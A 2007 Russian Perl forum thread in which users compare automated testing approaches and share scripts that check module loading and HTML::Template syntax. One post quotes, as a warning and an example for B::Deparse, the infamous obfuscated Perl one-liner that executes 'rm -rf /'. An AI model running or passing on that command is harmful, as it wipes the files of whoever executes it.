Модераторы: korob2001, ginnie
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Автоматические тесты, Кто какие инструменты использует 
:(
    Опции темы
Zuzu
Дата 16.2.2007, 12:39 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 140
Регистрация: 19.10.2006
Где: Екатеринбург

Репутация: 3
Всего: 4



Добрый день, уважаемые.

Кто какие системы автоматических тестов для программ, написанных на Perl использует? Поделитесь, пожалуйста, опытом.

--------------------
Проводить эксперименты на живом сервере опасно, а на мертвом - бесполезно.
PM   Вверх
amg
Дата 16.2.2007, 15:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1145
Регистрация: 3.8.2006
Где: Новосибирск

Репутация: 38
Всего: 50



Benchmark - тестирование скорости выполнения подпрограмм (кусков кода)

Memchmark  - потребление скриптом памяти (не всегда правильно)

Storable - сколько памяти занимает структура данных

Dumpvalue - точно уже не помню, что-то про пространство имен и переменные, доступные скрипту

B::Deparse - правильность расстановки скобок и т.д., разбор "хакерских" программ
Например, в скандально известной строчке
Код

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
запускающей rm -rf / (удаление всех файлов)
PM MAIL   Вверх
Zuzu
Дата 16.2.2007, 15:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 140
Регистрация: 19.10.2006
Где: Екатеринбург

Репутация: 3
Всего: 4



amg, спасибо, посмотрю. Но я немного про другое. А именно про систему тестов, которые запускаются, например, каждое утро и смотрят все программное обеспечение на проекте на предмет логических ошибок, внесенных командой разработки за предыдущий день разработки smile

Из полностью автоматических, есть две "самописные" процедуры. 

Превая просто "юзает" все модули в опредеденном каталоге (use <filename> для каждого модуля каталога). Если затесалась в модуле какая-то синтаксическая ошибка или какой-то внешний модуль (подключаемый из него по use) недоступен (случайно удалили его на хостинге smile )  - сообщает об этом. Если все модули "юзнулись", тест считается выполненным.

Вторая проходит по всем шаблонам (HTML::Template) в определенном каталоге (и подкаталогах), гда это все дело хранится. И пытается распарсить по шаблону пустую структуру данных.  Если в шаблонах нет синтаксических ошибок и они все на месте (в том смысле, что если файл-"подшаблон", вызываемый из шаблона существует) - они без проблем парсятся. Иначе выдается ошибка, что с шаблоном проблемы.

Вторая процедура оказалась настолько полезной, что ее используют даже порезчики и технические дизайнеры для "проверки синтаксиса" шаблонов во время разработки. Правят шаблон и, перед тем, как начать тестирование (сайта) - запускают процедуру "парсинга" шаблонов, чтобы убедится, что там все "синтаксически правильно".


Есть, конечно еще пара-тройка программ-тестов, но они специфичны для каждого проекта.

Слышал про систему JUNIT (для Java). Поэтому и интересно, кто что использует для Perl.

Это сообщение отредактировал(а) Zuzu - 16.2.2007, 15:28
--------------------
Проводить эксперименты на живом сервере опасно, а на мертвом - бесполезно.
PM   Вверх
amg
Дата 16.2.2007, 15:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1145
Регистрация: 3.8.2006
Где: Новосибирск

Репутация: 38
Всего: 50



Цитата(Zuzu @  16.2.2007,  15:25 Найти цитируемый пост)
amg, спасибо, посмотрю. Но я немного про другое.
Я так и думал, что не угадаю smile 

PM MAIL   Вверх
Nab
Дата 16.2.2007, 15:47 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 582
Регистрация: 25.3.2006
Где: Kiev

Репутация: 26
Всего: 37



Меня эта тема тож интересует сильно.... потому как в нынешнем проекте много мелких модулей, и иногда поправишь в одном все проверишь. Вроде все норм, но поползло что-то в старом который делал месяц назад и забыл....

Так что это интересная тема....

Интересуют также методы проверки работоспособности модулей работы с базами данных без реального коннекта с базой, правда я не представляю как smile

И Zuzu, расскажите или покажите плиз модуль парсинга HTML::Template, интересно глянуть... просто у меня это тоже базовая система шаблонов...


--------------------
 Чтобы правильно задать вопрос нужно знать больше половины ответа...
Perl Community 
FREESCO in Ukraine 
PM MAIL   Вверх
Zuzu
Дата 16.2.2007, 16:48 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 140
Регистрация: 19.10.2006
Где: Екатеринбург

Репутация: 3
Всего: 4



Да ради бога!

Вот файл с архивом. Лучше рассматривать как идею, а не как готовый программный продукт - очень различна специфика тестирования в разных компаниях (если она, вообще есть smile ). Если у кого не запустится, тут уж, извините, "правьте руками" под свою специфику. У меня все это работает каждый день, а задача написания универсального ПО просто не ставилась.

Несмотря на то, что кажэдый из скриптиков был написан достаточно быстро, а readme.txt - сегодня (чтобы просто освежить в голове все условия) и  ПО не претендует на промышленную разработку, конструктивные замечания приветствуются. 

smile




Это сообщение отредактировал(а) Zuzu - 16.2.2007, 16:49

Присоединённый файл ( Кол-во скачиваний: 9 )
Присоединённый файл  t20070216.rar 4,40 Kb
--------------------
Проводить эксперименты на живом сервере опасно, а на мертвом - бесполезно.
PM   Вверх
Zuzu
Дата 16.2.2007, 17:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 140
Регистрация: 19.10.2006
Где: Екатеринбург

Репутация: 3
Всего: 4



Цитата(Nab @  16.2.2007,  18:47 Найти цитируемый пост)
И Zuzu, расскажите или покажите плиз модуль парсинга HTML::Template, интересно глянуть... просто у меня это тоже базовая система шаблонов... 


Там, по большому счету, и рассказывать нечего. Считываются все имена файлов-шаблонов... включая подкаталоги, специально "вручную" - без использования разных модулей, чтобы повысить независимость системы от разных модулей.... парсятся шаблоны по одному... если проблема при парсинге - выдается сообщение об ошибке... Старался выдать сообщение по-максимуму, чтобы людям было проще исправлять ошибку (время - деньги!).

Есть пара простых правил написания шаблонов и строгая структура каталогов, где все это дожно жить. 

Если у кого есть идеи по поводу того, как это все улучшить, милости прошу.

Вот, в частности, сегодняшнее сообщение:
Код

TEST: Ptt_compile
Error compile template: 'admin/ConfigEditor/EditForm.ptt'
 path:
/usr/web/...skipped.../site/t/../ptt
/usr/web/...skipped../site/t/../ptt_k1

HTML::Template->new() : At least one <TMPL_IF> or <TMPL_UNLESS> not terminated a
t end of file! at /usr/local/lib/perl5/site_perl/5.6.1/HTML/Template.pm line 2267.

Test file: /usr/web/...skipped.../site/t/020_pttcompile.pl FAILED


Это сообщение отредактировал(а) Zuzu - 18.2.2007, 14:24
--------------------
Проводить эксперименты на живом сервере опасно, а на мертвом - бесполезно.
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Perl"
korob2001
sharq
  • В этом разделе обсуждаются общие вопросы по языку Perl
  • Если ваш вопрос относится к системному программированию, задавайте его здесь
  • Если ваш вопрос относится к CGI программированию, задавайте его здесь
  • Интерпретатор Perl можно скачать здесь ActiveState, O'REILLY, The source for Perl
  • Справочное руководство "Установка perl-модулей", можно скачать здесь


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, korob2001, sharq.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Perl: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0455 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.